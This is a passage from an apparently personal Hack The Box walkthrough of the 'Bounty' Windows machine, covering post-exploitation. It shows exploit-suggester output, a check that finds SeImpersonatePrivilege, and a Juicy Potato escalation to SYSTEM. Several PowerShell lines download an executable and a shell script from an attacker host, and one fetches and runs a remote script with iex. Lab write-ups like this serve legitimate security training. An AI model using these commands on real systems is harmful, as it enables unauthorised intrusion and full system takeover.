Post Exploitation

Viewing Hidden Directories

attrib 
type user.txt

Privilege Escalation

kali@kali:~/HTB/Bounty$ python windows-exploit-suggester.py --update
[*] initiating winsploit version 3.3...
[+] writing to file 2020-12-01-mssb.xls
[*] done
kali@kali:~/HTB/Bounty$ python windows-exploit-suggester.py --database 2020-12-01-mssb.xls --systeminfo sysinfo.txt 
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (ascii)
[*] querying database file for potential vulnerabilities
[*] comparing the 0 hotfix(es) against the 197 potential bulletins(s) with a database of 137 known exploits
[*] there are now 197 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2008 R2 64-bit'
[*] 
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical
[*]   http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
[*]   http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
[*] 
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
[M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical
[*] done

Looing at the information given, this box is running Microsoft Server 2008 R2 and DOES NOT HAVE ANY HOT FIXES. This means that it will likley be vulnerable to a bunch of kernal exploits. Before we check for those, lets check system privileges that are enabled for this user.

whoami /priv

SetImpersonatePrivilege is enabled, therefore it is very likley to get SYSTEM using an exploit called, Juicy Potato. Users who run the SQL server service or the IIS server usually have these privileges enabled. This privilege is designed to allow a service to impersonate others on the system. Juicy Patato exploits the way Microsoft handles tokens in order to escalate local privileges to SYSTEM.

GitHub - ohpe/juicy-potato: A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM.GitHub

Releases · ohpe/juicy-potatoGitHub

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.34:5555/JuicyPotato.exe', 'C:\Users\merlin\Desktop\jp.exe')"

Run the executable to view the arguments

PS C:\Users\merlin\Desktop> ./jp.exe
JuicyPotato v0.1 

Mandatory args: 
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args: 
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-z only test CLSID and print token's user

We're going to have to create another shell, lets do that and change the port number.

PS C:\Users\merlin\Desktop> ./jp.exe
JuicyPotato v0.1 

Mandatory args: 
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args: 
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-z only test CLSID and print token's user
PS C:\Users\merlin\Desktop> 

powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.34:5555/shell2.ps1')

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.34:5555/shell2.ps1', 'C:\Users\merlin\Desktop\shell2.ps1')"

PS C:\Users\merlin\Desktop> ./jp.exe -t * -p shell2.bat -l 6666

Fuck all that, use chimmichurri.exe [ip][port]